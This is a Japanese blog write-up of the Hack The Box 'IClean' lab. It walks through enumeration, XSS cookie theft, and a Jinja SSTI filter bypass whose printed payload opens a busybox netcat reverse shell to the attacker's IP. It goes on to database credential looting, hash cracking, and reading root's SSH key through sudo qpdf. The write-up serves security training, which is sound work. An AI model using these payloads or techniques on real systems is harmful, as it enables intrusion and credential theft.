1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】IClean【WriteUp】

Last updated at Posted at 2024-08-03

初めに

本記事は Hack The Box(以下リンク参照) の「IClean」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

初期探索

ポートスキャン

┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.12 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.12:22
Open 10.10.11.12:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-23 07:56 EDT
Initiating Ping Scan at 07:56
Scanning 10.10.11.12 [4 ports]
Completed Ping Scan at 07:56, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:56
Completed Parallel DNS resolution of 1 host. at 07:56, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:56
Scanning 10.10.11.12 [2 ports]
Discovered open port 22/tcp on 10.10.11.12
Discovered open port 80/tcp on 10.10.11.12
Completed SYN Stealth Scan at 07:56, 0.22s elapsed (2 total ports)
Nmap scan report for 10.10.11.12
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2024-04-23 07:56:39 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

22と80番Portが公開されている。
ブラウザでアクセスしたときにcapiclean.htbにアクセスできないといわれるので以下のように/etc/hostsに登録します。

10.10.11.12    capiclean.htb

再度アクセスしたとき以下のように表示されます。
1.png

サイト探索

ディレクトリ探索

まずはdirsearchです。

┌──(root㉿kali)-[~]
└─# dirsearch -u http://capiclean.htb/     
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_capiclean.htb/__24-04-23_08-03-13.txt

Target: http://capiclean.htb/

[08:03:13] Starting: 
[08:03:33] 200 -    2KB - /about
[08:04:02] 302 -  189B  - /dashboard  ->  /
[08:04:18] 200 -    2KB - /login
[08:04:19] 302 -  189B  - /logout  ->  /
[08:04:37] 403 -  278B  - /server-status
[08:04:37] 403 -  278B  - /server-status/
[08:04:38] 200 -    8KB - /services

Task Completed

ダッシュボードがあるようだが、ログインページにリダイレクトされてしまう。

エンドポイント列挙

katanaを使う。

┌──(root㉿kali)-[~]
└─# katana -u http://capiclean.htb/

   __        __                
  / /_____ _/ /____ ____  ___ _
 /  '_/ _  / __/ _  / _ \/ _  /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/							 

		projectdiscovery.io

[INF] Current katana version v1.0.5 (outdated)
[INF] Started standard crawling for => http://capiclean.htb/
http://capiclean.htb/
http://capiclean.htb/static/js/custom.js
http://capiclean.htb/static/js/jquery-3.0.0.min.js
http://capiclean.htb/static/js/jquery.fancybox.min.js
http://capiclean.htb/static/js/owl.carousel.js
http://capiclean.htb/static/js/popper.min.js
http://capiclean.htb/static/js/jquery.mCustomScrollbar.concat.min.js
http://capiclean.htb/static/js/'+i+'
http://capiclean.htb/static/js/jquery.min.js
http://capiclean.htb/static/js/bootstrap.bundle.min.js
http://capiclean.htb/static/js/'+s+'
http://capiclean.htb/static/js/%7Bhref%7D
http://capiclean.htb/static/css/owl.theme.default.min.css
http://capiclean.htb/static/css/owl.carousel.min.css
http://capiclean.htb/static/css/jquery.mCustomScrollbar.min.css
http://capiclean.htb/static/css/responsive.css
http://capiclean.htb/static/css/style.css
http://capiclean.htb/quote
http://capiclean.htb/team
http://capiclean.htb/choose
http://capiclean.htb/static/css/bootstrap.min.css
http://capiclean.htb/login
http://capiclean.htb/about
http://capiclean.htb/
http://capiclean.htb/services
http://capiclean.htb/static/js/plugin.js

quote階層などが気になるといったところだ。

ブラウジング

quote階層を見てみる。
2.png
リクエストをPOSTしてみると以下の画面に偏移する。
3.png
4.png
後でTeamが確認するみたいなこと書いているので、クライアント側への攻撃が出来そう。
login階層も見てみる。
1-0.png
ふむとりあえずここら辺を攻めていこうと思う。

イニシャルアクセス

SQLi Auth Bypass

loginをSQLiでBypassする。
あまりハマるパターンはないのだがとりあえずBurpで回しておいてもらう。
放置しつつ別のアクセスを試すといった形だ。
1-1.png
結果は上記のようになり、特段気になるレスポンスはなかった。
このIntruderの使い方は以下で詳細に説明している。

XSS

ダッシュボードがありログインしたら見えそうなこと、クライアント側の攻撃が通りそうなことからXSSを仕掛けてみようと思う。
とりあえず受け側を以下で用意しておく。投げる場所はさっきのquoteだ。

┌──(root㉿kali)-[~/work]
└─# python3 -m http.server 80

Payloadは以下を参考に作成する。

エンコードをする。
5.png
POSTのクエリにとりあえず全部ぶち込む。
6.png
こない。次のPayload。
7.png
8.png
こない。
色々試していると、以下で引っかかる。
9.png
10.png
11.png
このセッション情報をCookieに登録する。
12.png
ダッシュボードにアクセスしてみる。
13.png
いけた!!!

SSTI

色々機能があったので試してみる。Invoice作ってみる。
14.png
15.png
IDが払い出された。このIDでQR作ってみる。
16.png
QRをInsert?するみたいなのでRFIできるかもしれないのでHTTPで自分のサーバを指定してみる。
17.png
あーBase64ね。入力が表示されるならSSTIも試してみる。
18.png
あ、こっちの脆弱性が見つかったので、SSTIから攻める。
だがここからSSTIのRCEペイロードを投げたが発火しない。何かBypassが必要と考えて調べてみると以下の記事が見つかる。

ここから以下のようなPayloadを注入します。
19.png
発火してますね。
これでReverseShellを叩き込めそうです。

Foothold

ReverseShell

いつもの上記のサイトからPayloadを作成します。

{{request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("busybox%20nc%2010.10.14.106%204444%20-e%20bash")["read"]()}}

20.png
上手く帰ってきてますね。

Interactive shell

とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。

PythonでTTY作成後にCtrl+Zで接続をバックグラウンドにし、以下のコマンドを実行する。

┌──(root㉿kali)-[~/work]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.106] from (UNKNOWN) [10.10.11.12] 45012
whoami
www-data
python3 -c 'import pty;pty.spawn("bash")'
www-data@iclean:/opt/app$ ^Z
zsh: suspended  nc -lvnp 4444
                                                                                                                                                            
┌──(root㉿kali)-[~/work]
└─# stty raw -echo; fg 
[1]  + continued  nc -lvnp 4444
                               export TERM=xterm
www-data@iclean:/opt/app$ export SHELL=/bin/bash
www-data@iclean:/opt/app$ 

まだこのシェルではUserフラグは奪取できていません。

横展開

MySQL

色々ファイルを探っていると、app.pyにクレデンシャル情報を見つける。
21.png
このクレデンシャル情報を用いてDBにアクセスする。
mysqlコマンドが効くかどうか試してみる。

www-data@iclean:/opt/app$ mysql --version
mysql  Ver 8.0.36-0ubuntu0.22.04.1 for Linux on x86_64 ((Ubuntu))
www-data@iclean:/opt/app$ 

効くようだ。ならそのまま試す。

www-data@iclean:/opt/app$ mysql  -h 127.0.0.1 -u iclean -ppxCsmnGLckUb
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 2055
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

列挙すると以下のようにconsuelaの情報が見える。

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| capiclean          |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

mysql> use capiclean
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.00 sec)

mysql> 
mysql> select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password                                                         | role_id                          |
+----+----------+------------------------------------------------------------------+----------------------------------+
|  1 | admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)

mysql> 

Hashcat

どんなものでエンコードしているのか調べてみる

┌──(root㉿kali)-[~/work]
└─# hashid 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
Analyzing '0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa'
[+] Snefru-256 
[+] SHA-256 
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 
[+] GOST CryptoPro S-Box 
[+] SHA3-256 
[+] Skein-256 
[+] Skein-512(256) 

SHA-256のようである。
hashcatさんに投げてみる。

┌──(root㉿kali)-[~/work]
└─# hashcat -m 1400 -a 0 hash /usr/share/wordlists/rockyou.txt --force     
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-penryn-Intel(R) Core(TM) i7-10700F CPU @ 2.90GHz, 2919/5902 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494da...6927aa
Time.Started.....: Wed Apr 24 11:02:22 2024, (2 secs)
Time.Estimated...: Wed Apr 24 11:02:24 2024, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1674.1 kH/s (0.30ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3751936/14344385 (26.16%)
Rejected.........: 0/3751936 (0.00%)
Restore.Point....: 3749888/14344385 (26.14%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: simplenaruto -> simona_s
Hardware.Mon.#1..: Util: 31%

Started: Wed Apr 24 11:01:56 2024
Stopped: Wed Apr 24 11:02:25 2024

このクレデンシャル情報でログインしてみる。
22.png
いけました!ユーザフラグゲットです。

特権昇格

sudo -l

いつもの調べてみます。

consuela@iclean:~$ sudo -l
[sudo] password for consuela: 
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf
consuela@iclean:~$ 

qpdfがRootで回せそう。
何が出来るのか調査してみます。

ヘルプも参照しながら調べてみると、ファイルをPDFの中にアタッチできそうである。

consuela@iclean:~$ /usr/bin/qpdf --help
Run "qpdf --help=topic" for help on a topic.
Run "qpdf --help=--option" for help on an option.
Run "qpdf --help=all" to see all available help.

Topics:
  add-attachment: attach (embed) files
  advanced-control: tweak qpdf's behavior
  attachments: work with embedded files
  completion: shell completion
  copy-attachments: copy attachments from another file
  encryption: create encrypted files
  exit-status: meanings of qpdf's exit codes
  general: general options
  help: information about qpdf
  inspection: inspect PDF files
  json: JSON output for PDF information
  modification: change parts of the PDF
  overlay-underlay: overlay/underlay pages from other files
  page-ranges: page range syntax
  page-selection: select pages from one or more files
  pdf-dates: PDF date format
  testing: options for testing or debugging
  transformation: make structural PDF changes
  usage: basic invocation

For detailed help, visit the qpdf manual: https://qpdf.readthedocs.io
consuela@iclean:~$ 

であれば/root/.ssh/id_rsaをアタッチさせる方向でコマンドを調整してみる。
エラーと試行錯誤を繰り返していると以下のコマンドが通った。

consuela@iclean:~$ sudo /usr/bin/qpdf --empty test --add-attachment /root/.ssh/id_rsa -- --qdf

24.png
この秘密鍵をroot_keyとして保存する。これでRoot権限で入ってみる。
25.png
いけました。これでRoot権限奪取です!

まとめ

image.png
これで特権昇格に成功し、Root権限を奪取できました。
最近XSS利用が多くなっている気がします。XSS以前まで全然出てなかったのでだいぶ新鮮。XSS何もわからん。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?